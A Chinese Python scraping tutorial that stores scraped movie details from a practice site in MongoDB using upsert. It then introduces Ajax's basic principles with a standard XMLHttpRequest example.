接下来,我们再实现一个将数据保存到 MongoDB 的方法,实现如下:

1
2
3
4
5
6
def save_data(data):
collection.update_one({
'name': data.get('name')
}, {
'$set': data
}, upsert=True)

在这里我们声明了一个 save_data 方法,它接收一个 data 参数,也就是我们刚才提取的电影详情信息。在方法里面,我们调用了 update_one 方法,第一个参数是查询条件,即根据 name 进行查询;第二个参数就是 data 对象本身,就是所有的数据,这里我们用 $set 操作符表示更新操作;第三个参数很关键,这里实际上是 upsert 参数,如果把这个设置为 True,则可以做到存在即更新,不存在即插入的功能,更新会根据第一个参数设置的 name 字段,所以这样可以防止数据库中出现同名的电影数据。

注:实际上电影可能有同名,但该场景下的爬取数据没有同名情况,当然这里更重要的是实现 MongoDB 的去重操作。

好的,那么接下来 main 方法稍微改写一下就好了,改写如下:

1
2
3
4
5
6
7
8
9
def main():
for page in range(1, TOTAL_PAGE + 1):
index_data = scrape_index(page)
for item in index_data.get('results'):
id = item.get('id')
detail_data = scrape_detail(id)
logging.info('detail data %s', detail_data)
save_data(detail_data)
logging.info('data saved successfully')

这里就是加了 save_data 方法的调用,并加了一些日志信息。

重新运行,我们看下输出结果:

1
2
3
4
5
2020-03-19 02:51:06,323 - INFO: scraping https://spa1.scrape.center/api/movie/?limit=10&offset=0...
2020-03-19 02:51:06,440 - INFO: scraping https://spa1.scrape.center/api/movie/1...
2020-03-19 02:51:06,551 - INFO: detail data {'id': 1, 'name': '霸王别姬', 'alias': 'Farewell My Concubine', 'cover': 'https://p0.meituan.net/movie/ce4da3e03e655b5b88ed31b5cd7896cf62472.jpg@464w_644h_1e_1c', 'categories': ['剧情', '爱情'], 'regions': ['中国大陆', '中国香港'], 'actors': [{'name': '张国荣', 'role': '程蝶衣', 'image': 'https://p0.meituan.net/movie/5de69a492dcbd3f4b014503d4e95d46c28837.jpg@128w_170h_1e_1c'}, ..., {'name': '方征', 'role': '嫖客', 'image': 'https://p1.meituan.net/movie/39687137b23bc9727b47fd24bdcc579b97618.jpg@128w_170h_1e_1c'}], 'directors': [{'name': '陈凯歌', 'image': 'https://p0.meituan.net/movie/8f9372252050095067e0e8d58ef3d939156407.jpg@128w_170h_1e_1c'}], 'score': 9.5, 'rank': 1, 'minute': 171, 'drama': '影片借一出《霸王别姬》的京戏,牵扯出三个人之间一段随时代风云变幻的爱恨情仇。段小楼(张丰毅 饰)与程蝶衣(张国荣 饰)是一对打小一起长大的师兄弟,两人一个演生,一个饰旦,一向配合天衣无缝,尤其一出《霸王别姬》,更是誉满京城,为此,两人约定合演一辈子《霸王别姬》。但两人对戏剧与人生关系的理解有本质不同,段小楼深知戏非人生,程蝶衣则是人戏不分。段小楼在认为该成家立业之时迎娶了名妓菊仙(巩俐 饰),致使程蝶衣认定菊仙是可耻的第三者,使段小楼做了叛徒,自此,三人围绕一出《霸王别姬》生出的爱恨情仇战开始随着时代风云的变迁不断升级,终酿成悲剧。', 'photos': ['https://p0.meituan.net/movie/45be438368bb291e501dc523092f0ac8193424.jpg@106w_106h_1e_1c', ..., 'https://p0.meituan.net/movie/0d952107429db3029b64bf4f25bd762661696.jpg@106w_106h_1e_1c'], 'published_at': '1993-07-26', 'updated_at': '2020-03-07T16:31:36.967843Z'}
2020-03-19 02:51:06,583 - INFO: data saved successfully
2020-03-19 02:51:06,583 - INFO: scraping https://spa1.scrape.center/api/movie/2...

由于输出内容较多,这里省略了部分内容。

我们可以看到这里我们成功爬取到了数据,并且提示了数据存储成功的信息,没有任何报错信息。

接下来我们使用 Robo 3T 连接 MongoDB 数据库看下爬取的结果,由于我使用的是本地的 MongoDB,所以在 Robo 3T 里面我直接输入 localhost 的连接信息即可,这里请替换成自己的 MongoDB 连接信息,如图所示:

连接之后我们便可以在 movies 这个数据库,movies 这个集合下看到我们刚才爬取的数据了,如图所示:

可以看到数据就是以 JSON 格式存储的,一条数据就对应一部电影的信息,各种嵌套信息也一目了然,同时第三列还有数据类型标识。

这样就证明我们的数据就成功存储到 MongoDB 里了。

7. 总结

本节中我们通过一个案例来体会了 Ajax 分析和爬取的基本流程,希望大家通过本节能够更加熟悉 Ajax 的分析和爬取实现。

另外,我们也观察到,由于 Ajax 接口大部分返回的是 JSON 数据,所以在一定程度上可以避免一些数据提取的工作,这也在一定程度上减轻了工作量。

本节代码:https://github.com/Python3WebSpider/ScrapeSpa1。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

Ajax,全称为 Asynchronous JavaScript and XML,即异步的 JavaScript 和 XML。它不是一门编程语言,而是利用 JavaScript 在保证页面不被刷新、页面链接不改变的情况下与服务器交换数据并更新部分网页的技术。

对于传统的网页,如果想更新其内容,那么必须刷新整个页面,但有了 Ajax,便可以在页面不被全部刷新的情况下更新其内容。在这个过程中,页面实际上是在后台与服务器进行了数据交互,获取到数据之后,再利用 JavaScript 改变网页,这样网页内容就会更新了。

可以到 W3School 上体验几个示例感受一下:http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp

1. 实例引入

浏览网页的时候,我们会发现很多网页都有下滑查看更多的选项。比如,拿微博来说,以我的主页为例:https://m.weibo.cn/u/2830678474,切换到微博页面,一直下滑,可以发现下滑几个微博之后,再向下就没有了,转而会出现一个加载的动画,不一会儿下方就继续出现了新的微博内容,这个过程其实就是 Ajax 加载的过程,如图所示。

我们注意到页面其实并没有整个刷新,也就意味着页面的链接没有变化,但是网页中却多了新内容,也就是后面刷出来的新微博。这就是通过 Ajax 获取新数据并呈现的过程。

2. 基本原理

初步了解了 Ajax 之后,我们再来详细了解它的基本原理。发送 Ajax 请求到网页更新的这个过程可以简单分为以下 3 步:

  1. 发送请求
  2. 解析内容
  3. 渲染网页

下面我们分别来详细介绍一下这几个过程。

发送请求

我们知道 JavaScript 可以实现页面的各种交互功能,Ajax 也不例外,它也是由 JavaScript 实现的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var xmlhttp;
if (window.XMLHttpRequest) {
//code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
//code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
document.getElementById("myDiv").innerHTML = xmlhttp.responseText;
}
};
xmlhttp.open("POST", "/ajax/", true);
xmlhttp.send();

这是 JavaScript 对 Ajax 最底层的实现,实际上就是新建了 XMLHttpRequest 对象,然后调用 onreadystatechange 属性设置了监听,然后调用 opensend 方法向某个链接(也就是服务器)发送了请求。前面用 Python 实现请求发送之后,可以得到响应结果,但这里请求的发送变成 JavaScript 来完成。由于设置了监听,所以当服务器返回响应时,onreadystatechange 对应的方法便会被触发,然后在这个方法里面解析响应内容即可。

解析内容

得到响应之后,onreadystatechange 属性对应的方法便会被触发,此时利用 xmlhttpresponseText 属性便可取到响应内容。这类似于 Python 中利用 requests 向服务器发起请求,然后得到响应的过程。那么返回内容可能是 HTML,可能是 JSON,接下来只需要在方法中用 JavaScript 进一步处理即可。比如,如果是 JSON 的话,可以进行解析和转化。

渲染网页

JavaScript 有改变网页内容的能力,解析完响应内容之后,就可以调用 JavaScript 来针对解析完的内容对网页进行下一步处理了。比如,通过 document.getElementById().innerHTML 这样的操作,便可以对某个元素内的源代码进行更改,这样网页显示的内容就改变了,这样的操作也被称作 DOM 操作,即对网页文档进行操作,如更改、删除等。

上例中,document.getElementById("myDiv").innerHTML=xmlhttp.responseText 便将 ID 为 myDiv 的节点内部的 HTML 代码更改为服务器返回的内容,这样 myDiv 元素内部便会呈现出服务器返回的新数据,网页的部分内容看上去就更新了。

我们观察到,这 3 个步骤其实都是由 JavaScript 完成的,它完成了整个请求、解析和渲染的过程。

再回想微博的下拉刷新,这其实就是 JavaScript 向服务器发送了一个 Ajax 请求,然后获取新的微博数据,将其解析,并将其渲染在网页中。

因此,我们知道,真实的数据其实都是一次次 Ajax 请求得到的,如果想要抓取这些数据,需要知道这些请求到底是怎么发送的,发往哪里,发了哪些参数。如果我们知道了这些,不就可以用 Python 模拟这个发送操作,获取到其中的结果了吗?

3. 总结

本节我们简单了解了 Ajax 请求的基本原理和带来的页面加载效果,下一节我们来介绍下怎么来分析 Ajax 请求。